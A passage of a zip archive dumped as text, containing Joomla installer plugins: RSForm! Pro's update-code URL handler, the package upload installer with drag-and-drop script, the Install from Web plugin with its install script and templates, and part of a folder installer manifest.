		<input type="text" id="install_url" name="install_url" class="span5 input_box" size="70" placeholder="https://"/>
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_url"
		value="<?php echo JText::_('PLG_INSTALLER_URLINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonurl()" />
</div>
PK       !       installer/rsform/rsform.phpnu bS        <?php
/**
* @package RSForm! Pro
* @copyright (C) 2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die;

class plgInstallerRSForm extends JPlugin
{
	public function onInstallerBeforePackageDownload(&$url, &$headers)
	{
		$uri 	= JUri::getInstance($url);
		$parts 	= explode('/', $uri->getPath());
		
		if ($uri->getHost() == 'www.rsjoomla.com' && (in_array('com_rsform', $parts) || in_array('plg_rsform_plugins', $parts))) {
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php')) {
				return;
			}
			
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php')) {
				return;
			}
			
			// Load our config
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php';
			
			// Load our version
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php';
			
			// Load language
			JFactory::getLanguage()->load('plg_installer_rsform');
			
			// Get the version
			$version = new RSFormProVersion;
			
			// Get the update code
			$code = RSFormProConfig::getInstance()->get('global.register.code');
			
			// No code added
			if (!strlen($code)) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_MISSING_UPDATE_CODE'), 'warning');
				return;
			}
			
			// Code length is incorrect
			if (strlen($code) != 20) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_INCORRECT_CODE'), 'warning');
				return;
			}
			
			// Compute the update hash			
			$uri->setVar('hash', md5($code.$version->key));
			$uri->setVar('domain', JUri::getInstance()->getHost());
			$uri->setVar('code', $code);
			$url = $uri->toString();
		}
	}
}
PK       ! V20Q  Q    installer/rsform/rsform.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_rsform</name>
	<creationDate>July 2015</creationDate>
	<author>RSJoomla!</author>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>https://www.rsjoomla.com</authorUrl>
	<copyright>(c) 2015 www.rsjoomla.com</copyright>
	<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license> 
	<version>1.0.0</version>
	<description>PLG_INSTALLER_RSFORM_XML_DESCRIPTION</description>
	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.sys.ini</language>
	</languages>
</extension>PK       ! ĸ8   8     installer/rsform/index.htmlnu bS        <html><head><title></title></head><body></body></html>
PK       ! q$  q$  +  installer/packageinstaller/tmpl/default.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('jquery.token');

JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');
JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
JText::script('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonpackage = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_package.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_PACKAGEINSTALLER_NO_PACKAGE', true) . '");
		}
		else if (form.install_package.files[0].size > form.max_upload_size.value)
		{
			alert("' . JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "upload"
			form.submit();
		}
	};
');

// Drag and Drop installation scripts
$token = JSession::getFormToken();
$return = JFactory::getApplication()->input->getBase64('return');

// Drag-drop installation
JFactory::getDocument()->addScriptDeclaration(
<<<JS
	jQuery(document).ready(function($) {
		if (typeof FormData === 'undefined') {
			$('#legacy-uploader').show();
			$('#uploader-wrapper').hide();
			return;
		}

		var uploading   = false;
		var dragZone    = $('#dragarea');
		var fileInput   = $('#install_package');
		var fileSizeMax = $('#max_upload_size').val();
		var button      = $('#select-file-button');
		var url         = 'index.php?option=com_installer&task=install.ajax_upload';
		var returnUrl   = $('#installer-return').val();
		var actions     = $('.upload-actions');
		var progress    = $('.upload-progress');
		var progressBar = progress.find('.bar');
		var percentage  = progress.find('.uploading-number');

		if (returnUrl) {
			url += '&return=' + returnUrl;
		}

		button.on('click', function(e) {
			fileInput.click();
		});

		fileInput.on('change', function (e) {
			if (uploading) {
				return;
			}

			Joomla.submitbuttonpackage();
		});

		dragZone.on('dragenter', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		// Notify user when file is over the drop area
		dragZone.on('dragover', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		dragZone.on('dragleave', function(e) {
			e.preventDefault();
			e.stopPropagation();
			dragZone.removeClass('hover');

			return false;
		});

		dragZone.on('drop', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.removeClass('hover');

			if (uploading) {
				return;
			}

			var files = e.originalEvent.target.files || e.originalEvent.dataTransfer.files;

			if (!files.length) {
				return;
			}

			var file = files[0];

			var data = new FormData;

			if (file.size > fileSizeMax) {
				alert(Joomla.JText._('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'), true);
				return;
			}

			data.append('install_package', file);
			data.append('installtype', 'upload');

			dragZone.attr('data-state', 'uploading');
			uploading = true;

			$.ajax({
				url: url,
				data: data,
				type: 'post',
				processData: false,
				cache: false,
				contentType: false,
				xhr: function () {
					var xhr = new window.XMLHttpRequest();

					progressBar.css('width', 0);
					progressBar.attr('aria-valuenow', 0);
					percentage.text(0);

					// Upload progress
					xhr.upload.addEventListener("progress", function (evt) {
						if (evt.lengthComputable) {
							var percentComplete = evt.loaded / evt.total;
							var number = Math.round(percentComplete * 100);
							progressBar.css('width', number + '%');
							progressBar.attr('aria-valuenow', number);
							percentage.text(number);

							if (number === 100) {
								dragZone.attr('data-state', 'installing');
							}
						}
					}, false);

					return xhr;
				}
			})
			.done(function (res) {
				// Handle extension fatal error
				if (!res || (!res.success && !res.data)) {
					showError(res);
					return;
				}

				// Always redirect that can show message queue from session 
				if (res.data.redirect) {
					location.href = res.data.redirect;
				} else {
					location.href = 'index.php?option=com_installer&view=install';
				}
			}).error(function (error) {
				uploading = false;

				if (error.status === 200) {
					var res = error.responseText || error.responseJSON;
					showError(res);
				} else {
					showError(error.statusText);
				}
			});

			function showError(res) {
				dragZone.attr('data-state', 'pending');

				var message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');

				if (res == null) {
					message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
				} else if (typeof res === 'string') {
					// Let's remove unnecessary HTML
					message = res.replace(/(<([^>]+)>|\s+)/g, ' ');
				} else if (res.message) {
					message = res.message;
				}

				Joomla.renderMessages({error: [message]});
			}
		});
	});
JS
);

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
	#dragarea {
		background-color: #fafbfc;
		border: 1px dashed #999;
		box-sizing: border-box;
		padding: 5% 0;
		transition: all 0.2s ease 0s;
		width: 100%;
	}

	#dragarea p.lead {
		color: #999;
	}

	#upload-icon {
		font-size: 48px;
		width: auto;
		height: auto;
		margin: 0;
		line-height: 175%;
		color: #999;
		transition: all .2s;
	}

	#dragarea.hover {
		border-color: #666;
		background-color: #eee;
	}

	#dragarea.hover #upload-icon,
	#dragarea p.lead {
		color: #666;
	}

	 .upload-progress, .install-progress {
		width: 50%;
		margin: 5px auto;
	 }

	/* Default transition (.3s) is too slow, progress will not run to 100% */
	.upload-progress .progress .bar {
		-webkit-transition: width .1s;
		-moz-transition: width .1s;
		-o-transition: width .1s;
		transition: width .1s;
	}

	#dragarea[data-state=pending] .upload-progress {
		display: none;
	}

	#dragarea[data-state=pending] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .upload-actions {
		display: none;
	}

	#dragarea[data-state=installing] .upload-progress {
		display: none;
	}

	#dragarea[data-state=installing] .upload-actions {
		display: none;
	}
CSS
);

$maxSizeBytes = JFilesystemHelper::fileUploadMaxSize(false);
$maxSize = JHtml::_('number.bytes', $maxSizeBytes);
?>
<legend><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_INSTALL_JOOMLA_EXTENSION'); ?></legend>

<div id="uploader-wrapper">
	<div id="dragarea" data-state="pending">
		<div id="dragarea-content" class="text-center">
			<p>
				<span id="upload-icon" class="icon-upload" aria-hidden="true"></span>
			</p>
			<div class="upload-progress">
				<div class="progress progress-striped active">
					<div class="bar bar-success"
						style="width: 0;"
						role="progressbar"
						aria-valuenow="0"
						aria-valuemin="0"
						aria-valuemax="100"
					></div>
				</div>
				<p class="lead">
					<span class="uploading-text">
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOADING'); ?>
					</span>
					<span class="uploading-number">0</span><span class="uploading-symbol">%</span>
				</p>
			</div>
			<div class="install-progress">
				<div class="progress progress-striped active">
					<div class="bar" style="width: 100%;"></div>
				</div>
				<p class="lead">
					<span class="installing-text">
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_INSTALLING'); ?>
					</span>
				</p>
			</div>
			<div class="upload-actions">
				<p class="lead">
					<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_DRAG_FILE_HERE'); ?>
				</p>
				<p>
					<button id="select-file-button" type="button" class="btn btn-success">
						<span class="icon-copy" aria-hidden="true"></span>
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_SELECT_FILE'); ?>
					</button>
				</p>
				<p>
					<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
				</p>
			</div>
		</div>
	</div>
</div>

<div id="legacy-uploader" style="display: none;">
	<div class="control-group">
		<label for="install_package" class="control-label"><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_EXTENSION_PACKAGE_FILE'); ?></label>
		<div class="controls">
			<input class="input_box" id="install_package" name="install_package" type="file" size="57" />
			<input id="max_upload_size" name="max_upload_size" type="hidden" value="<?php echo $maxSizeBytes; ?>" /><br>
			<?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?>
		</div>
	</div>
	<div class="form-actions">
		<button class="btn btn-primary" type="button" id="installbutton_package" onclick="Joomla.submitbuttonpackage()">
			<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_AND_INSTALL'); ?>
		</button>
	</div>

	<input id="installer-return" name="return" type="hidden" value="<?php echo $return; ?>" />
	<input id="installer-token" name="return" type="hidden" value="<?php echo $token; ?>" />
</div>
PK       !  RdD  D  /  installer/packageinstaller/packageinstaller.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>plg_installer_packageinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_PACKAGEINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="packageinstaller">packageinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_packageinstaller.sys.ini</language>
	</languages>
</extension>
PK       ! u	    /  installer/packageinstaller/packageinstaller.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageInstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * PackageInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerPackageInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'package';
		$tab['label']   = JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_PACKAGE_FILE');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'packageinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK       ! a    '  installer/webinstaller/webinstaller.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_webinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>28 April 2017</creationDate>
	<copyright>Copyright (C) 2013 - 2019 Open Source Matters. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>2.1.2</version>
	<description>PLG_INSTALLER_WEBINSTALLER_XML_DESCRIPTION</description>
	<files>
		<folder>tmpl</folder>
		<filename plugin="webinstaller">webinstaller.php</filename>
	</files>
	<media destination="plg_installer_webinstaller" folder="media">
		<folder>css</folder>
		<folder>js</folder>
	</media>
	<scriptfile>webinstaller.script.php</scriptfile>
	<updateservers>
		<server type="extension" priority="1" name="WebInstaller Update Site">https://appscdn.joomla.org/webapps/jedapps/webinstaller.xml</server>
	</updateservers>
</extension>
PK       ! ud    '  installer/webinstaller/webinstaller.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Rule\UrlRule;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class PlgInstallerWebinstaller extends CMSPlugin
{
	/**
	 * The URL for the remote server.
	 *
	 * @var    string
	 * @since  2.0
	 */
	const REMOTE_URL = 'https://appscdn.joomla.org/webapps/';

	/**
	 * The application object.
	 *
	 * @var    CMSApplication
	 * @since  2.0
	 */
	protected $app;

	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  2.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Flag tracking whether the Hathor admin template is in use
	 *
	 * @var    boolean|null
	 * @since  1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private $_hathor = null;

	/**
	 * The URL to install from
	 *
	 * @var    string|null
	 * @since  1.0
	 */
	private $installfrom = null;

	/**
	 * Event listener for the `onInstallerBeforeDisplay` event.
	 *
	 * @param   boolean  $showJedAndWebInstaller  Flag indicating the install from web prompt should be displayed
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	public function onInstallerBeforeDisplay(&$showJedAndWebInstaller)
	{
		$showJedAndWebInstaller = false;
	}

	/**
	 * Event listener for the `onInstallerAddInstallationTab` event.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   2.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab = array(
			'name'  => 'web',
			'label' => Text::_('COM_INSTALLER_INSTALL_FROM_WEB'),
		);

		// Render the input
		ob_start();
		include PluginHelper::getLayoutPath('installer', 'webinstaller', $this->isHathor() ? 'hathor' : 'default');
		$tab['content'] = ob_get_clean();

		return $tab;
	}

	/**
	 * Event listener for the `onBeforeCompileHead` event.
	 *
	 * @return  void
	 *
	 * @since   2.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 * @note        This is required to ensure the plugin JS is appended after the tabs are initialized,
	 *              logic would otherwise be in the `onInstallerAddInstallationTab` listener
	 */
	public function onBeforeCompileHead()
	{
		$installfrom = $this->getInstallFrom();

		// Push language strings to the JavaScript store
		Text::script('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_OBSOLETE');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_UPDATE_AVAILABLE');
		Text::script('JLIB_INSTALLER_UPDATE');
		Text::script('PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN');
		Text::script('PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL');

		HTMLHelper::_('bootstrap.framework');
		HTMLHelper::_('script', 'plg_installer_webinstaller/client.min.js', array('version' => 'auto', 'relative' => true));
		HTMLHelper::_('stylesheet', 'plg_installer_webinstaller/client.min.css', array('version' => 'auto', 'relative' => true));

		$devLevel = Version::PATCH_VERSION;
		$extraVer = Version::EXTRA_VERSION;

		if (!empty($extraVer))
		{
			$devLevel .= '-' . $extraVer;
		}

		$installer = new Installer;
		$manifest  = $installer->isManifest(__DIR__ . '/webinstaller.xml');

		$doc = Factory::getDocument();

		$doc->addScriptOptions(
			'plg_installer_webinstaller',
			array(
				'base_url'        => addslashes(self::REMOTE_URL),
				'installat_url'   => base64_encode(Uri::current() . '?option=com_installer&view=install'),
				'installfrom_url' => addslashes($installfrom),
				'product'         => base64_encode(Version::PRODUCT),
				'release'         => base64_encode(Version::MAJOR_VERSION . '.' . Version::MINOR_VERSION),
				'dev_level'       => base64_encode($devLevel),
				'installfromon'   => $installfrom ? 1 : 0,
				'language'        => base64_encode(Factory::getLanguage()->getTag()),
				// The below options are deprecated and removed when the plugin is merged to 4.0
				'is_hathor'       => $this->isHathor() ? 1 : 0,
				'pv'              => base64_encode($manifest->version),
			)
		);

		$javascript = <<<JS
jQuery(document).ready(function () {
    var ifwOptions = Joomla.getOptions('plg_installer_webinstaller', {});
    var ifwLink = jQuery('#myTabTabs').find('li a[href="#web"]');
    var ifwRelativeSelector = 'li';

	if (ifwOptions.is_hathor) {
		jQuery('#mywebinstaller').show();
		ifwLink = jQuery('#mywebinstaller').find('a');
		ifwRelativeSelector = 'a';
	}

	if (ifwOptions.installfromon) {
		ifwLink.click();
	}

	if (!ifwOptions.is_hathor && ifwLink.closest('li').hasClass('active')) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	}

	ifwLink.closest(ifwRelativeSelector).click(function (event) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});

	if (ifwOptions.installfrom_url !== '') {
	    ifwLink.closest(ifwRelativeSelector).click();
	}

	ifwLink.on('shown', function (e) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});
});

		
JS;
		$doc->addScriptDeclaration($javascript);
	}

	/**
	 * Internal check to determine if the Hathor admin template is in use
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private function isHathor()
	{
		if (is_null($this->_hathor))
		{
			$this->_hathor = strtolower($this->app->getTemplate()) === 'hathor';
		}

		return $this->_hathor;
	}

	/**
	 * Get the install from URL
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	private function getInstallFrom()
	{
		if ($this->installfrom === null)
		{
			$installfrom = base64_decode($this->app->input->getBase64('installfrom', ''));

			$field = new SimpleXMLElement('<field></field>');
			$rule  = new UrlRule;

			if ($rule->test($field, $installfrom) && preg_match('/\.xml\s*$/', $installfrom))
			{
				$update = new Update;
				$update->loadFromXML($installfrom);
				$package_url = trim($update->get('downloadurl', false)->_data);

				if ($package_url)
				{
					$installfrom = $package_url;
				}
			}

			$this->installfrom = $installfrom;
		}

		return $this->installfrom;
	}
}
PK       ! O,  ,  .  installer/webinstaller/webinstaller.script.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// If the minimum PHP version constant hasn't been defined (really old Joomla version), set it now
if (!defined('JOOMLA_MINIMUM_PHP'))
{
	// Minimum as of Joomla! 3.3
	define('JOOMLA_MINIMUM_PHP', '5.3.10');
}

// Stub the JInstallerScript class for older versions to perform the minimum required checks
if (!class_exists('JInstallerScript'))
{
	/**
	 * Base install script for use by extensions providing helper methods for common behaviours.
	 *
	 * @since  3.6
	 */
	class JInstallerScript
	{
		/**
		 * Minimum PHP version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumPhp;

		/**
		 * Minimum Joomla! version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumJoomla;

		/**
		 * Function called before extension installation/update/removal procedure commences
		 *
		 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
		 * @param   JInstallerAdapter  $parent  The class calling this method
		 *
		 * @return  boolean  True on success
		 *
		 * @since   3.6
		 */
		public function preflight($type, $parent)
		{
			// Check for the minimum PHP version before continuing
			if (!empty($this->minimumPhp) && version_compare(PHP_VERSION, $this->minimumPhp, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_PHP', $this->minimumPhp), JLog::WARNING, 'jerror');

				return false;
			}

			// Check for the minimum Joomla version before continuing
			if (!empty($this->minimumJoomla) && version_compare(JVERSION, $this->minimumJoomla, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_JOOMLA', $this->minimumJoomla), JLog::WARNING, 'jerror');

				return false;
			}

			// Theoretically we should not reach this line in this stub because triggering it means we aren't matching the minimum Joomla version
			return true;
		}
	}
}

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class plginstallerwebinstallerInstallerScript extends JInstallerScript
{
	/**
	 * A list of files to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFiles = array(
		'/plugins/installer/webinstaller/css/client.css',
		'/plugins/installer/webinstaller/css/client.min.css',
		'/plugins/installer/webinstaller/css/index.html',
		'/plugins/installer/webinstaller/index.html',
		'/plugins/installer/webinstaller/js/client.js',
		'/plugins/installer/webinstaller/js/client.min.js',
	);

	/**
	 * A list of folders to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFolders = array(
		'/plugins/installer/webinstaller/css',
		'/plugins/installer/webinstaller/js',
	);

	/**
	 * Minimum PHP version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumPhp = JOOMLA_MINIMUM_PHP;

	/**
	 * Minimum Joomla! version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumJoomla = '3.9';

	/**
	 * Function called before extension installation/update/removal procedure commences
	 *
	 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
	 * @param   JInstallerAdapter  $parent  The class calling this method
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.6
	 */
	public function preflight($type, $parent)
	{
		if (!parent::preflight($type, $parent))
		{
			return false;
		}

		// Disallow installs on 4.0 as the plugin is part of core
		if (version_compare(JVERSION, '4.0', '>='))
		{
			JLog::add(JText::_('PLG_INSTALLER_WEBINSTALLER_ERROR_PLUGIN_INCLUDED_IN_CORE'), JLog::WARNING, 'jerror');

			return false;
		}

		return true;
	}

	/**
	 * Function called after extension installation/update/removal procedure commences
	 *
	 * @param   string            $route    The action being performed
	 * @param   JInstallerPlugin  $adapter  The class calling this method
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function postflight($route, $adapter)
	{
		// When initially installing the plugin, enable it as well
		if ($route === 'install')
		{
			try
			{
				$db = JFactory::getDbo();
				$db->setQuery(
					$db->getQuery(true)
						->update($db->quoteName('#__extensions'))
						->set($db->quoteName('enabled') . ' = 1')
						->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
						->where($db->quoteName('element') . ' = ' . $db->quote('webinstaller'))
				)->execute();
			}
			catch (RuntimeException $e)
			{
				// Don't let this fatal out the install process, proceed as normal from here
			}
		}
	}
}
PK       ! )H]    &  installer/webinstaller/tmpl/hathor.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div class="clr"></div>
<fieldset class="uploadform">
	<legend><?php echo Text::_('COM_INSTALLER_INSTALL_FROM_WEB', true); ?></legend>
	<div id="jed-container"<?php echo $dir; ?>>
		<div id="mywebinstaller" style="display:none">
			<a href="#"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_LOAD_APPS'); ?></a>
		</div>
		<div class="well" id="web-loader" style="display:none">
			<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
		</div>
		<div class="alert alert-error" id="web-loader-error" style="display:none">
			<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
		</div>
	</div>
	<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
		<div class="control-group">
			<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
			<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
			<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
		</div>
		<div class="form-actions">
			<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
			<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
		</div>
	</fieldset>
</fieldset>
PK       ! iy  y  '  installer/webinstaller/tmpl/default.phpnu bS        <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div id="jed-container" class="tab-pane">
	<div class="well" id="web-loader">
		<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
	</div>
	<div class="alert alert-error" id="web-loader-error" style="display:none">
		<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
	</div>
</div>

<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
	<div class="control-group">
		<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
		<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
		<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
	</div>
	<div class="form-actions">
		<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
		<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
	</div>
</fieldset>
PK       ! ?>  >  -  installer/folderinstaller/folderinstaller.xmlnu bS        <?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_FOLDERINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_FOLDERINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
